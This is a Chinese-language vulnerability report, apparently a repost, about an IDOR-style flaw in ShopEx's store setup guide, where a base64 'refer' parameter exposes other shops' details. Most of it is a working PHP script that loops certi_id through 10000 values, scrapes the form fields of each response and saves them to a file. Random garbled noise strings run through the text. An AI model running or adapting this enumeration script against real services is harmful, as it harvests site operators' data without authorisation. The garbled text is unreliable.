ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
+ r4 h6 p- q6 x$ P8 c$ c# ]/ {ShopEx某接口缺陷,可遍历所有网站
详细说明：
9 Y  F6 j. q: G* B" A$ j( ^; v; D8 B问题出现在shopex 网店使用向导页面

9 ?* D) P, i" c0 M& I+ l* e) E
- t- ~& Q* [; H. V! N: X
  z& r0 G! m. u, }. U9 Fhttp://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
5 G8 q- h' J! [7 k0 W


refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}

7 ]  ~0 ^' N# H

" R2 c0 k9 o: n! K0 d% Q1 d我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
# ^$ Z# u" K- Q6 ?* b$ a2 g4 Q


<?php

1 D- O7 K: K% ?                for ($i=1; $i < 10000; $i++) { //遍历
" W- Y4 h; l8 x( q8 t" e
                        ShowshopExD($i);
# |/ _- }6 y: D7 `% |, ?/ z
                }

! g" N! S) I* y. k: h3 c7 [                function ShowshopExD($cid) {

4 O# B9 g) Y8 t8 N- x! K                $url='http://guide.ecos.shopex.cn/step2.php';

                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
/ b. m! [+ ^4 I1 ?% h5 F
        $url = $url.'?refer='.$refer;
9 v9 U, k: ]6 A# K' H8 d1 o$ ^/ d
        $ch = curl_init($url);

        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;

        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
3 Y. s: T. z1 x- L
1 o6 F4 y  ]- Q        $result = curl_exec($ch);

8 p$ d1 l8 r' I; M" A        $result = mb_convert_encoding($result, "gb2312", "UTF-8");

+ s+ `  O+ l. F* W) K. Z0 J7 e" G3 u        if(strpos($result,$refer))
6 F# F  H9 z( S, v1 U" O
        {
+ T5 Y  z# E  \/ d$ E
3 V$ B* Q7 F2 d. j6 q0 e                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件

                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
1 I6 w8 r/ M) K0 {) t
" g6 D! _' J7 y0 z% |; m' l2 k                foreach ($value[1] as $key) {
9 A- _( w3 o0 t. f3 f
                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);

                        echo $res[1][0].':'.$res[3][0]."\r\n";
# H; q3 h7 v0 ~( f4 @1 v4 n5 D' W
                        $col =$res[1][0].':'.$res[3][0]."\r\n";
; x4 m1 P* K0 X# w6 U0 Z4 B; `
                        fwrite($fp, $col, strlen($col));
5 S3 w* T9 f6 G/ S, L
                }

                echo '--------------------------------'."\r\n";

                fclose($fp);
. k* R( j: z9 g
( G2 V7 C( z! ?        }

. U8 T: ?1 @. T  q0 E! a3 c        flush();
8 e% p# {* H; K: v4 B. R
$ N' ^/ H2 X! h" U  f        curl_close($ch);

                }

# n6 H; `% q1 F2 |! L2 t?>
漏洞证明：
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
refer换成其他加密方式